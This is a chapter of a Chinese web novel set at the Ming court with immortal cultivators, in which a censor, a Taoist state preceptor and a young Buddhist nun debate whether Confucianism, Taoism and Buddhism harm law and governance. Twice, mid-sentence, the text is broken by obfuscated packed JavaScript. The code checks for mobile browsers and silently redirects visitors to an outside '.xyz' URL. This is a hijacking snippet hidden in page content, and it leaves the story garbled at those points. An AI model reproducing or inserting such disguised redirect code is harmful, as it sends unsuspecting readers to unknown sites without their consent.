“若是我们愿意帮助严世蕃变法的话。那便在暗中推波助澜,当一个推手,想必皇上他自然也能洞察到,这大明可没什么能瞒过皇上。” 听到这里,众人轻吐出一口气,点了点头后 ,齐齐将目光看向上方的裕王。 不管怎么说,现如今严党一系的所有动作,所有功劳,最终还都是要在明面上算到景王头上的,接下来就看裕王要不要锦上添花,做一波推手了。 “哒,哒哒……” 裕王的手指轻轻敲击着扶手,眸光闪烁的同时,眉宇之间也有思索之色浮现。 片刻后,裕王的眉头舒展,而后缓缓开口道:“一切都是为了朝廷。我等自然是要通力协作,好好配合,完成变法了。” “父皇明察秋毫,届时必然会记着我等的功劳。” “殿下英明!”众人齐齐躬身说道。 在场众人当中只有赵贞吉,低眉垂目的同时,眼底浮现出一抹可惜之色。 其实他已经有所安排了,若是这次严党没有能力把事情解决,他会出手,届时他又能在皇上面前表现一番,得到赏赐。 没想到,严嵩终究还是棋高一着。 京城,督察院左都御史张慎行的府上,大厅之中。 此时,张府大厅之中,可以说是热闹非凡。 当今日,吕芳亲自出面告知众人,明日儒释道三教论道后,这些扬言要弹劾严家父子的所有人,都明白了过来,这是他们最后的机会。 朝廷要取消衍圣公的爵位,并要动摇儒宗根基,甚至是取缔儒宗的地位,如此事情闹得这么大,必然是要讨论一番的。 三教论道,在他们看来,佛道两家必然是朝廷的工具,用来对付儒家的。 只要他们明日在三教论道之上胜出,那么事情就有了专机,届时再那么一宣传,天下臣民都会明白,儒宗的不可动摇地位。 毕竟,佛道两家中,有一个可是道门,也是国师,国师代表的就是朝廷! 一时间,所有人都信心大增。 此时,他们所有人汇聚一堂,为的就是商讨明日如何应对佛道两家的刁难。 “听宫里透露出来的消息说,严嵩老贼又给皇上推荐了一个佛门少女,无耻!”有御史狠狠拍了一下桌子扶手,怒声道。 其他人也是各个义愤填膺了起来。 督察院左都御史张慎行,是一个须发皆白的老者,此时脸上表情沉凝,似是在思考着什么。 “此事并不是什么秘密,”有官员开口,“不久前,严嵩老贼有事没事就往京城的郊外跑,听说皇上给他批了一块地。” “那般若林,本是京城郊外一尼姑庵,想来严嵩老贼早就计划着往宫里塞人了!” “无耻,严贼,果然无恶不作!” “下作的东西,此前往宫里,皇上身边推了一个妖道,如今又要推一个女尼姑,我大明朝怎么会出此等奸佞之徒,简直给天打雷劈……” 这群人没有注意到的是,在角落位置,坐着一个肚儿滚圆,身形富态像是一个员外一样的中年人。 如果海瑞在此的话一定不难认出,此人不是别人,正是此前在大同,给他当参政的李志远。 看着这群人义愤填膺的模样,浓眉大眼的李志远嘴角勾起一抹不屑的笑容。 “一群鼠目寸光,不知死活的东西……”李志远心头冷笑连连。 李志远从大同调离后,便利用清流一派的身份,调回了京城,直接入了户部。 确切的说,他是赵贞吉的人! 相比于眼前这群什么都不知道的蠢蛋,他可以说是知道太多关于朝廷的内幕了。 当初,大同镇,仙人降世,出手葬灭阴山,事后朝廷来人警告所有官员高层。 此外还有海瑞的种种表现,无一不是在告诉他这世上真的有仙人存在。不仅如此,朝廷很有可能已经和仙人取得了联系。 而下来学修的皇上很有可能已经踏上了仙途。 这意味着什么?这意味着从此以后,皇上很有可能实现真正的万岁,万万岁! 那些新粮种哪来的?还有朝廷突然开始大整顿,如今的盛世大明,又是如何而来的? 种种迹象无一不是在确定着一件事,那就是朝廷与仙人有联系,此事内阁都知道。 不仅如此,自从当年从大同镇调离回来之后,他就千方百计的去拜访内阁诸老。 虽然没有一个人见他,但皇天不负有心人,他得到了赵部堂的赏识。 也因此,这些年他确定了一件事,那就是内阁诸老,都已经得到了仙家赐福!虽然具体的不清楚,但知道这些就已经足够了。 也因此,他的人生目标彻底的变了。 他不再甘心,当一个凡人,百年之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669379|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化作一抔黄土,他必须要打入朝廷的核心圈,而赵部堂就是他跨越凡人,步入仙家圈层的台阶。 他之所以会跟着这群人,不知死活的改在西苑外死谏,都是在为赵部堂做事,为的就是在事情闹到不可收拾的时候,主动站出来抗事! 届时,赵部堂就会趁机在内阁中,再次表现自己,得到皇上的赏识。 至于他扛了事以后,会不会被贬到更远的地方,甚至是下了大狱这些……他根本不怕! 对他来说,有舍才有得! 只要给他一条命,只要赵部堂还记得他,只要赵部堂不倒,那他就值了!而他只需要一线机会, 他的未来就有可能搏出一片天来! “可惜了,”想及此处,听着众人讨论着关于儒释道三家论道一事,李志远轻轻摇头的同时,心底暗叹:“如今儒释道三教要论道,看来严阁老已经想到了破局之法。” “如此一来我就没有了抗事的机会,赵步堂在内阁当中也就没有了表现的可能……”想着,李志远只觉得这帮人很是碍眼。 一帮废物,白白跟着他们跪了几天雪地了,只希望赵部堂还能记着他的好才是。 李志远看的分明,什么儒释道论道,虽然不知道严阁老这些人的真正用意所在,但他心里明白,儒家站到了皇上和内阁的对立面。 那么下场只有一个! 不论这次三教论道,到底谁赢谁输,结果都不会变,儒宗的地位,都会大不如从前! 可惜,这点道理,这群蠢货却是拎不清楚。 竟然妄想用惯用的方法,玩什么死谏的戏码,以弹劾严家之名,从而逼皇上就烦? 呵呵,这什么时代了? 一个皇上和内阁高层,都已经踏上仙道,可能要成仙的时代,他们还会顾忌你们的想法? 在仙人漫长的寿命各悠久的时间里,儒宗也不过是大点的蝼蚁而已,要抹去有什么难的? “这就是情报,眼界的作用啊!”想着,李志远心底感慨,同时心中越发的庆幸,当初跟着去了大同,接触到了神秘! 此时,大厅之中,争吵声,引经据典,为明日论道作准备声,抨击严党声,嘈杂无比。 更有大言不惭者,扬言佛道两家,不过是两个小丫头而已,明日论道,张老必胜! 堂外,大雪纷纷。 远处廊下一角,画师更是在张府管家的示意下,开始作画,将今日种种记录画册。 以便日后,流芳百世。 …… 翌日。雪依旧下着,不过比起昨日来说,倒是小了不少。 西苑外,依旧是清流,众人首先等候在门口。 不同于以往,此时中间地带,以张慎行为首的御史言官,以及其他这几日跪在雪地里,死谏,弹劾严家的官员,各个肃容等待。 自然,李志远也在其中。 不一会儿的功夫,不远处三顶轿子缓缓行来。 “来了!”高拱开口说着,将目光投向远处,众人对视一眼纷纷上前了几步。 不一会,顶轿子落地,严世蕃扶着严嵩出来。 而众人的目光则是第一时间,看向旁边那一顶轿子,他们都知道,那里头坐着的就是那所谓的,佛门天才了。 与内阁众人表面上寒暄着打招呼的反应不同,以张慎行为首的一众官员们,则是冷着脸一动不动,冷眼旁观,既然已经翻脸,他们自然也不会给严家人什么好脸色看。 “呵呵,”察觉到众人的目光后,严嵩则是呵呵笑着开口,道:“想必诸位都好奇,我旁边这顶轿子里坐着的是何人吧?” “世蕃,”说完,严嵩抬了抬手,指向一旁的轿子,“请禅霜法师出来吧。” “是。”严世蕃点了点头后,走向第三顶轿子,“禅师,我们到了,还请出来吧。” 说着,严世蕃对轿夫压了压手,示意压轿。 然后,在众人的注视下,就见一名身着灰色粗布棉衣,头戴灰色小帽,手拿一串佛珠的少女尼姑,从轿子里走出。 “阿弥陀佛,”女尼对着严世蕃轻诵了一声佛号,然后道:“有劳施主了。” 看着这个年龄只有十六七岁的少女尼姑,在场众人都是露出一抹惊讶之色。 旁的不说,虽是尼姑,但身上的气质,第一眼给人的感觉,却有种高僧一般的沉稳。 最重要的是,这少女尼姑的长相,也很是不俗,皮肤细腻紧致,眉毛并未经过修饰,双眼明亮而有神,仿佛能看破一切虚妄般。 最让人印象深刻的是,她眉心竟是有一颗黄豆大小的微红胎记,竟是有几分画中菩萨模样,总之给人的第一个印象,这不是什么少女,也不是什么尼姑,或是什么严党的棋子。 此女,给人的第一感觉就一个,慈悲,平和! 这种气质,应该是出现在佛门一些上了年纪,佛法精深的老僧,女尼身上才会有,但出现在一个十六七岁的少女身上。 这,着实让人惊讶! 不远处,西苑门口,黄锦也在细细打量着这个所谓的禅师。 “不好,”黄锦微吸一口气,轻声道:“国师要遇上对手了!” 跟清风接触时间最长的黄锦,一眼就分辨出了二人的区别。 清风单纯,气质不显,仿佛随遇而安一般,嗯,说的俗了,就像对什么都不在乎的咸鱼。 但眼前这个名叫禅霜的禅师,与当初的清风,第一次入宫时的年龄一样,但气质上却尤为凸显,最关键的是她给人的感觉是容易忽略她的年龄,从而被她的气质所吸引。 黄锦觉得,若是在寺庙里遇上,他估计会心甘情愿的叫对方一声大师,或是禅师! 不过,立场决定态度,他可是清风的支持者,此刻担心的自然是接下来论道输赢。 虽然干爹说了输赢并不重要,但若是国师能赢,那 自然是最好不过了。 “这个禅霜法师,不简单呐,”这时,身边响起陈洪幽幽的声音,“咱们那位国师,当初可没有这样的气质。” “与人家比起来,咱家那位国师,就像是个小丫头片子,虚名堆起来的假名士!”陈洪语气颇有些阴阳怪气,眼神中更是多有挖苦之色。 “陈洪,你莫要对国师不敬!”听到陈洪贬低清风,黄锦压低声怒道:“小心我告诉干爹去,到时候没你的好!” “哼!”面对黄锦的威胁,陈洪冷哼一声,也不说什么,甩袖而去。 不过临走时,看着远处已经与裕王和景王寒暄完,缓缓而来的一群人中,那位禅霜法师。 此时,陈洪心中已经暗暗打定主意,若是此女也和那清风一样得到主子的赏识,那么,他从此以后就支持此女! 黄锦支持清风,他也要安排一个心腹干儿子,去支持一个与国师同等地位的人。不为别的,你们有的,我陈洪也要有! 很快,众人来到了玉熙宫中。 这一次,嘉靖没有露面,而是端坐于偏殿的道台精舍中,打算好好听一出儒释道,三教之争的大戏,他相信,严嵩会让他尽兴。 至于那少女禅师,他早早的便用神识看过了。 此女是佛门精心培养的,佛法造诣怕是不浅。 至于自家的小国师清风,嗯,更不用担心。 “题目,”这时,等众人都就位后,吕芳踏出一步,道:“儒以文乱法、道以修仙扰政、佛以慈悲碍刑,以此三点,进行讨论!” “……” 第一百六十三章 不过是表演,天下哗然,重写西游释厄传,三教之乱,已成! 玉熙宫大殿上。 裕王跟景王二人坐在御座下方两侧,严嵩依旧是坐在他专属的小板凳上。 下方,内阁和司礼监列在两侧,而中间的那张大桌,此时已经被挪开,中间站着群臣。而在大殿中间位置上,三道人影站立。 这三人,自然是今天的主角了。 国师清风,督察院左都御史张慎行和佛门天才,禅霜法师。 题目?!此时听到吕芳念出来的三道大题后,众人都是一愣。谁都没有想到,今日三教之争,竟然是命题的。 儒以文乱法、道以修仙扰政、佛以慈悲碍刑,这三条说出来,可以说是将三教全都给贬了啊,莫非皇上对三教都不满? 一时间,大殿上众人都不禁开始胡思乱想起来。 严嵩双手默默放在火炉边上,呈烤火的姿势,低眉垂目,似乎毫不在意的模样。 徐阶老神在在,张居正等人皱着眉,默默低头思考着,猜着皇上突然给出三道题目的用意,同时暗暗以儒释道三方入手破题。 这一次,虽然看的是儒释道三家的论道,可既然有题作,满朝才子,自然也是各个心痒难耐,尤其是像是张居正这种学霸,更是忍不住。 一时间,玉熙宫大殿上安静的仿佛落针可闻一般,所有人都安静思考着。 清风一袭藏青色道袍,不过衣服的材质,却早已不是此前的粗布麻衣。 嘉靖四十年,她入宫时十六岁,如今七年过去,她已经二十三了,不论是身材又或者是气质,都较之前,有了极大的改变。 如果说此前她的气质就是一个单纯,纯净,懵懂的少女,那么此刻她身上多了一份上位者的淡淡威势,其中夹杂着一种缥缈的气质。 让她整个人,威严之余多了几分缥缈灵动。 嗯,仙风道骨这个词,它从来都不是形容一个年轻女子的,但此刻,看到她的瞬间,众人心间却不由自主的迸出这个词来。 再配上这一袭清雅脱俗,却不失华贵的道袍,配合那淡淡搭在臂弯处的洁白拂尘,整个人气场十足,她就是大明国师! “嘿嘿,咱家国师,也不差!还好我机灵,提前做了准备,要不然还真被这外来的和尚给比下去了呢。”黄锦看着大殿中,气场冠绝全场的清风,下巴微微抬高,自豪不已。 没错,清风如此,都是他一手安排的。 原本清风就是一个随遇而安的性子,修仙了以后更是有种咸鱼一般的心态。若不是黄锦百般牢骚,她肯定是不会如此打扮的。 面对自己今天的两个“对手”,清风并未有什么特别的想法。至于禅霜身上那股佛门高僧才有的气质,她表示,更是毫无感觉。 “国师、张御史,禅霜法师,”吕芳微微一笑,道:“开始吧。” 随着吕芳话音落下,严嵩也挪了挪身体,一边烤着火,一边看向三人。 “那老夫便先开始吧!”张慎行看着面前的两个女子,踏出一步,一副当仁不让的姿态。 为了今日的论道,他整整准备了一整晚,他也自信,自己所学,足以应对两个小女子。 再则,早在近千年之前,南朝那四次,儒释道三教之争,虽是未能分出胜负,但熟悉那段历史的人都知道,儒家才是笑到最后的。 这千年之后的第五次三教之争,依旧会以儒家的胜利而告终。 不过让他意外的是,皇上竟然直接给出了三道,对三家都不怎么友好的命题来。 从这三道题上,他已经看出今日之争,不会那么轻易的结束,这三题或许只是个引子。 见此,禅霜双手合十,微微颔首,退后一步。 清风看了这老头一眼,默默退后。 “二位殿下,”张慎行先是对上方的裕王跟景王行了一礼,然后对着在场众人拱手,道: “众所周知,儒以《诗》、《书》、《礼》、《易》、《春秋》五经为根基,以《论语》、《孟子》等为传习之典籍。” 闻言,众人微微点头,裕王跟景王也是颔首,表示认同。 张慎行说着,语气微微一顿,继续道:“子曰:道之以政,齐之以刑,民免而无耻;道之以德,齐之以礼,有耻且格。” “此乃阐明德法并重之理。”说着,张慎行环视众人,眼神前所未有的严肃。 那群今日来支持他的官员,纷纷点头,低声议论,以此为张慎行壮声势。 人群后方,李志远也是暗暗点头。 毕竟说到底,他们都是习儒家经典,入学时都是拜过至圣先师的,对这些道理自是认同。 “儒家之“文”,在于教化人心,使之知耻守礼,从而达到内外兼修之效。”张慎行说着,言辞干脆,直接反驳: “儒,非乱法,实为固法之基!” “又《大学》云:物有本末,事有终始,知所先后,则近道矣。儒家主张,修身齐家治国平天下,由内而外,层层推进。” “唯有先正己身,方可正他人,最终达至国家之治。此亦非乱法,乃固本培元之道。” “说的好!”官员中,有人忍不住喝彩。 就算是张居正人等人,也是微微点头,表示这段自证 ,干脆利索,引经据典,说的实好。 严世蕃在人群中,冷眼旁观,看着中间那群弹劾自己的官员,还有气场十足的张慎行,眼神中有冷意浮现,像是在看一群蝼蚁。 他们,注定不过是一群“戏子”而已。 内阁司礼监所有人都明白,今日三教之争,从不是重点,输了这群人没有人会在乎输赢,因为这张赌桌上,最大的庄家是朝廷! 于他们,于内阁所有人,于皇上来说,今日就是一场乐子而已。 “可惜了,”高拱看着激动的张慎行等言官御史脸上的激动之情,暗暗叹息,“没有人在乎输赢的赌桌上,没有人是赢家。” “怪就怪在,你们站错了队。” “陈旧王朝体制下的一群可怜人,”赵贞吉微微摇头,“华而不实的东西罢了。” “国师,禅师,请吧。”张慎行说完,背后一只手,另一只手做了一个请的手势,他腰背挺得笔直,浑身上下都是文官的骄傲。 “阿弥陀佛,”禅霜道了一声佛号,看向清风,明亮有神,且慈悲的眸子眨了眨,温声细语,道:“国师先请……” 看着面前谦虚示意自己先请的佛门之人,清风纯净的眸子眨了眨,也不客气,微微颔首,一步踏出,看向裕王跟景王,点头示意。 裕王跟景王也是立刻颔首露出笑脸。 清风可不光是身受父皇恩宠的国师,同时她本身也是一个练气初期的修仙者,与他们在身份上是一样的,自然是要给予应有的尊重了。 “子曰:古之人,其知有所至矣。”清风开口,轻声道:“恶乎至?有以为未始有物者,至矣、尽矣,不可以加矣……” 清风知晓今日论道的根本所在,也知晓今日三教没有赢家,都是皇权之下的刀剑而已。 她的修行之道便是顺应自然,自然是什么?天道!天道是皇帝,她自然顺从配合。不就是论道嘛,那就论吧,道法研习她也不差! 想及此处,清风嘴上却也不慢,继续开口道:“此言,道家之修仙,并非离世避世。而是要修身齐家,进而治国平天下。” 听到清风说治国平天下,张慎行等人发出轻哼,对这番言论颇为不满,不过也没有打断,先秦时诸子百家齐放,各有治国理念。 道家无为而治,也是一种治国理念,说是为了修身齐家治国平天下,倒也没错。 清风不理会众人,继续开口。 “道德经云:法令滋彰,盗贼多有。” “此言,非谓全然弃绝法度,而是强调治理当顺应自然之道,简政放权,若君主能以无为之心态治理天下,则百姓自能各安其所,无须繁复法令,而天下大治……” “是以,道家之“修仙”,乃指修身养性,提升内在精神境界,而非干扰政事。” 嗯,有句话,清风没说,现在她真的修仙了,此前她可从不认为世上有仙的。 说完,清风退后一步,不再言语,她要阐明,自辩的观点,已经说完了。 “不愧是国师!” 黄锦看着自家国师,同样能引经据典,说的有理有据,暗暗点头。 听着身后,黄锦的自语,陈洪回头瞥了眼,发出一声冷哼,神情间颇为不屑。 对清风说的,更是嗤之以鼻。 简政放权?以无为之心态治理天下?还百姓各安其所,无须繁复法令,天下大治? 呵呵,这是在说笑吗?指望那群底层刁民自觉?等几百年后吧,那时候说不定能自觉! 跟陈洪抱有同样想法的人不在少数,内阁众人,还有以张慎行为首的众人纷纷摇头。 道家被历朝历代摒弃,还是很有道理的。 也就是今日三题是自辩讨论,算是论道开场,要是真的议政,这国师就应该被叉出去! 张慎行跟清风说完后,众人的目光都放在了禅霜的身上,等待着她的自辩。 “阿弥陀佛,”禅霜轻诵一声佛号,开口道:“我佛以慈悲为怀,旨在救度众生,使世人脱离苦海。《金刚经》云:一切有为法,如梦幻泡影,如露亦如电,应作如是观。” “佛之慈悲,并非碍刑,”禅霜同样开口便否定之前的那句“佛以慈悲碍刑”后,继续开口,“佛希望通过教化,使众生明了因果报应之理,从而自发地遵守律法,减少罪行。” 因果轮回?听到这话,清风微微摇头,她最不喜欢的就是这所谓的轮回宿命之说。 张居正等人对视一眼,微微摇头。 通过恐惧,来使人坚信来世报应,从而今世慈悲为怀?虽说相对于天真的道家无为而治来说,多了几分实质性的举措,可也非良策。 说到底,还是期许人自我约束罢了。 严世蕃对此,更是摇头,他可不信来生,他只看当下,现在的自己是自己,来世的自己可不是自己了,有什么用? 来世再好,现在受罪,有什么用? 禅霜轻抿薄唇,继续温言温语,道:“《华严经》亦有言:诸佛如来,以一大事因缘出现于世,所谓为令众生开示悟入佛之知见。” “佛以智慧和慈悲引导世人,使之认识到善恶因果之理,从而自觉地趋善避恶。” 说着,禅霜双手合十,轻诵一声佛号,道: “此非碍刑,乃以慈悲心,希望众生能远离恶行,归于正道。而非妨碍刑法之施行。” 至此,三教对“儒以文乱法”、“道以修仙扰政”、“佛以慈悲碍刑”三题完成自辩。 “铛!”就在这时,偏殿处传来一声铜罄声,众人纷纷安静。 吕芳见此,上前一步,开口道:“此次论道,正式开始!”说着,语气一顿,看向清风、张慎行和禅霜三人,温声道:“自辩已成!” “接下来,三教以方才三题,进行互相论证。” 听到这里,众人眼底都浮现出一抹了然之色,对此毫不意外,他们早就知道,既然是论道,就不会是出一个这么简单的自辩之题。 接下来,才是儒释道三角真正角逐胜负的时候。 张慎行深吸一口气,宽大袖袍中,拳头捏了捏,虽然他不将眼前两个小女子放在眼里,但这并不意味着,他就会掉以轻心。 狮子搏兔亦用全力的道理,他自然懂。 而且,他这次的目的是凭一己之力,将佛道两家打压下去,并踩着两教上位。 此外,昨日他便飞隼传书给了孔家,不久后孔家便会造势,以天下大义来让朝廷罢手,也让皇上明白,儒宗之根基,不可动摇! 想及此处,张慎行深吸一口气,上前一步,道:“方才,禅霜法师言,因果报应?”张慎行率先对看起来势单力薄的禅霜发难。 孰轻孰重他知道,虽然他明白,想要给儒家证名,踩着清风国师更好,但他明白自己势单力薄,而佛道两家都是严嵩手里的刀剑,一旦出手,就必须要一击必胜,逐一击破。 所以,先拿佛门祭儒宗崛起之大旗! 见张慎行冲自己而来,禅霜双手合十,轻声道了一句佛号,表示自己确实说了。 “人死精神不灭,随复受形。生时所行善恶,皆有报应。故所贵行善修道,以炼精神而不已,以至无为,而得为佛也。”说完,张慎行看向禅霜,道:“不知,在下说的可对?” “张御史所言正是。”禅霜颔首同意。 “呵,”张慎行轻笑,道:“此乃后汉书所言,老夫不过是借用而已。” 一众御史言官闻言,都是轻笑出声。在他们看来,张御史已经开始占上风了。 然而禅霜却始终一副平静的模样,无悲无喜,明亮有神的眸子里,目光始终慈悲。 “不过此等主张,在我看来,实乃谬论!”说着,张慎行的语气开始变得犀利,“先圣有言,未知生,焉知死,而令人一生之中,困苦形神,方求冥冥黄泉下福,皆是管见。” 这话说出口,就是直指佛门主张狭隘了。 饶是禅霜眉宇平静慈悲,此刻也不由的轻皱了皱眉,这话说的确实重了。 这当等同于是直接否定了佛门的教义! 不过张慎行还没说完,她也不会打断,只能静静听着。 “国师?”张慎行将禅霜的表情收入眼底后,转而看向清风,道: “道家主张性命顺应自然,可对?” 说完,不等清风回答,便继续转向禅霜,开口道:“道家主张,人依靠天地赋予的本性而生存,秉承着五行之气来成长。” “人的寿命有长有短,因此有人长寿,有人早逝。人的气质也有精细和粗糙的不同,因此有贤能和愚笨的区别。” “这些都是自然天定的规则,是无法改变的事实,而不是由善恶积行所致。” “善良的人之所以善良,并不是因为他们一开始就有好的命运,而是因为他们在行为上行善,因此才说,他们是善人。” “邪恶的人之所以邪恶,并不是因为他们原本没有邪恶的倾向,而是因为他们在成长的过程中,行恶从而陷入了邪恶。” “因此,无论是在境遇上的成功或失败、行为上的善良或邪恶、智力上的聪明或愚笨、寿命上的长寿或短命,这些命中注定的。” 说完,张慎行一步步逼近,看着禅霜,道:“法师,此番你可认同?” 看着气场上,直接将禅霜压制的张慎行,张居正、高拱和赵贞吉三人对视一眼,微微摇头。 张慎行能成为督察院的左都御史,此前更是坚定的站队严党,是严党在督察院的先锋,可不是什么无能之辈,他们也是头次见此人。 张慎行,能被严党看中,是有道理的! 这番话,直接从儒家的立场出发,用道家的性命自然主张,对佛门的因果报应进行否定。 可以说,直接连带着儒家和道门,同时攻向佛门主张,全方位攻杀,如何能辩? 然而,张慎行并不打算就这么算了,他必须要将禅霜彻底击溃,才能调转矛头向清风。 “对不住了,小姑娘,老夫也是逼不得已,为了天下儒宗,只能如此了!”心中对禅霜说了一声道歉后,张慎行眼中精光一闪,道: “佛说,杀生得恶报,为善得福。” “牛羊吃草,不吃有生命的动物,即“不杀生”,到头来却仍免不了被庖人宰杀。” “燕子求食,非飞虫不吃,却得世人喜爱,且让它在屋梁上做窠安居。” 说着,张慎行冷笑,道:“敢问,何报应之有?” 被张慎行如此一问,禅霜张了张嘴,一时间竟是不知该如何反驳。 “因此!”张慎行凝视着,禅霜,冷声道:“群生万有,往往如之,是知杀生者无恶报,为福者无善应,因果报应之说,谬论尔!” 一番话说完,禅霜双眼微微睁大,凝视着面前须发皆白,肃容冷言的老者,最终深吸一口气,轻轻闭上双眼,双手合十,诵声道: “阿弥陀佛……” 见此,张慎行心里也微松了口气,此女子倒是没有撒泼,倒是意外。 至此儒释之争,儒家胜利而告终! 见此,以张慎行为首的御史言官,纷纷喜笑颜开,低声议论了起来。 司礼监陈洪等人默不作声的看着,儒家也好,道家和佛门也罢,都跟他们无关。 内阁众人则始终冷眼看着,张居正等人倒是不考虑其他,只是听着这番论道,全当思考。 胡宗宪、王崇古对视一眼,都看出了彼此眼中的莫名意味来。 二人中,胡宗宪是严嵩的学生,王崇古是裕王的心腹,对这些内幕,自然明白。 在他们看来,今日儒释道三家,没有胜利者,都不过是棋子而已,悲哀的是,有棋子因为胜利而高兴,他仿佛看到了胜利的曙光。 俞大猷则不同,他出身不好,为官底蕴不深,听着这一番文人论道,只觉得精彩。 至于严世蕃,看着背叛了严家的张慎行,眼神如刀子一般冰冷,像是在看一个已有取死之道,却不自知的小丑,神情嘲弄讥讽。 赢了?殊不知,他们都不过是台上的戏子而已,今日的表演,不过是我严家手中的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669380|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具。 “国师。”一举击败佛门,张慎行决定趁热打铁,对清风出手,不过却是先作了一揖。 看着张慎行,清风微微颔首,目光看了看冷眼旁观的司礼监,又看了看神情淡然的内阁,最后看向将自己视做敌人的御史言官。 突然,清风觉得好无趣,好无聊。 不过她知道,皇上要看戏,严家变法需要这一场戏唱下去,也只能硬着头皮唱下去。 “做官好难呀。”心底轻轻叹了口气,清风努力维持着自己国师的仪态。 嗯,这是黄锦说的,她今日代表的是大明的体面,大明的仪态,没办法,只能如此了。 “张御史,请吧。”清风抬了抬手,落落大方,很有国师的风度。 “国师此前所言,若是在下没记错的话,皆出自老庄之经典,可对?”张慎行开口。 “不错。”清风微微点头。 “嗯,”张慎行点了点头,开始踱步,“朱子,曾在《朱子语类》中言:道家有老庄书,却不知看,尽为释氏窃而用之,却去仿效释氏经教之属。譬如巨室子弟,所有珍宝悉为人所盗去,却去收拾人家破瓮破釜,呵……” 说着,张慎行轻笑着,看向身后一众支持者,道:“下官,深以为然!” 听到这里,大殿之上,响起一众御史言官的轻笑声,纷纷嘲笑道家丢了西瓜捡芝麻,甚至是暗暗讽刺,道家的愚蠢。 然而听到这话,清风却没有说话,朱熹?于她而言,也不过是山下人罢了。 山下人之争,无非名、利而已。佛道之争,早有之,何来他论说因果?哗众取宠。 没错,这就是清风对朱熹论佛道的看法,四个字便可评价:哗众取宠。 嗯,最主要的是,她真的没功夫跟张慎行争辩什么,既然佛门败退,佛道为刀剑,第一回合已然分出胜负,那便让儒家成为众矢之的吧。 今日朝堂之上,三教之争必然会传出去,迅速席卷整个大明,届时推波助澜一下,佛道两家谁能放过儒家?儒家又岂会退缩? 毕竟朝堂之上,张慎行一人之力,击败佛道,若是儒家自己退缩了,岂不是打脸自己? 所以,今日的结果已经出了,也已经达到了严阁老和皇上想要的。 这点,清风自然看出来了,她是单纯,不是笨。 看透今日这场大戏后,清风只觉得,山下人真无趣,不如修炼去。 见清风不说话,张慎行只当她是强装镇定,然后继续道:“朱子曾言:佛家初来中国,多是偷老子意去做经,如说空处是也。” “后来道家做《清静经》,又去偷佛家言语,全做得不好。佛经所谓‘色即是空’处,他把色、受、想、行、识,五个对一个‘空’字说,故曰‘空即是色。受、想、行、识,亦复如是’,谓是空也。” “而《清净经》中偷此句意思,却说‘无无亦无’,只偷得他‘色即是空’。” “却不曾理会得他‘受、想、行、识亦复如是’之意,全无道理。” “佛家偷得老子好处,后来道家却只偷得佛家不好处。譬如道家有个宝藏,被佛家偷去。后来道家却只取得佛家瓦砾,殊可笑也。” 说完,张慎行语气一顿,而后摇头失笑,道:“然而在我看来,朱子此番言论,却多有宽容……不过是两个窃贼互偷而已。” 这番话一出,张居正等人眉头都是一皱,不过却也没说什么,他们都看出来了,张慎行是故 意的,就是要激怒清风。 而清风,听到张慎行说老庄是窃贼,就算再怎么不在乎,也不能任由旁人这么说道家,顿时小脸也是不由的一板,冷了下来。 袖口里,小拳头捏的梆硬,灵气隐隐旋转,灵气波动则是在场几个修仙者一惊。 嗯,倒不是惊讶于清风灵气波动,而是惊讶于清风要动手。 “张御史,”就在这时,严嵩突然慢吞吞的开口,道:“圣人几时说过佛道两家是窃贼了?” 严嵩突然开口,让大殿上一静。 张慎行见严嵩开口,也是收敛脸上的笑意,心中有些紧张,不敢与严嵩对视。 别看他背叛严家,在西苑外死谏的时候,勇敢异常,可当真正跟严嵩对上的时候,几乎是本能的,身体有些莫名的畏惧。 “论道,引经据典,在所难免,也是必要的,但莫要歪曲圣人之言,有损圣人名头,毕竟你今日代表的是儒家。” “一些不合时宜的话若是传出去了,旁人只会说圣人狭隘,背后论他人长短,作长舌妇人之举,主子身后名,岂不因你而玷污?” 严嵩就这么慢吞吞的说着,但整个大殿上众人都鸦雀无声,甚至大气都不出一声。 这一次,内阁首辅的霸道与强势,再次得以体现。 “下官明白。”张慎行只能闷闷说道。 “继续吧。”严嵩点了点头,又缓缓坐下,低眉垂目,伸出手烤着火。 经过严嵩这一打岔,清风也收起了灵气,知晓刚才自己动用灵气,严阁老等人察觉到了,也明白,自己刚才冲动了。 不过,她确实想动手,要不然念头不通达,她们修道的,修的就是念头通达。 而且以修仙者的手段,一道灵气,足以让眼前之人,吃尽苦头而不自知! 看着张慎行,又看了看在场众人,清风心中越发的感到不耐和无聊起来。 “所以,下官以为,一个连自家学说都看不清,却要剽窃他人学说之辈,岂能妄谈治国?岂不是与那稚子胡闹一般儿戏?” 听到这里,众人知道这是在说道家学说来历有问题,用他人教义治国,像是在胡闹。 说完道家教义主张来历存疑,否定此前清风的自辩后,张慎行又继续道: “再则,《道德经》所言:法令滋彰,盗贼多有。此言虽有其理,然若一味放任,不加以管束,则恐天下大乱。” “儒家主张‘道之以德,齐之以礼’,以此来规范人心,使民间井然有序。这些都不是道家无为之治所能比拟的。” “又有《礼记·曲礼》曰:礼者,所以定亲疏,决嫌疑,别同异,明是非也。儒家之礼,不仅在于规范行为,更在于引导人心向善。” “礼法并举,德法并重,乃是儒家治国之根本。若无礼法,则百姓无所依循,天下必乱。” “故,道家之无为,虽可简化政令,然若无德法之规范,则天下必陷于无序之中。” 这是在对道家无为而治进行批判和否定。 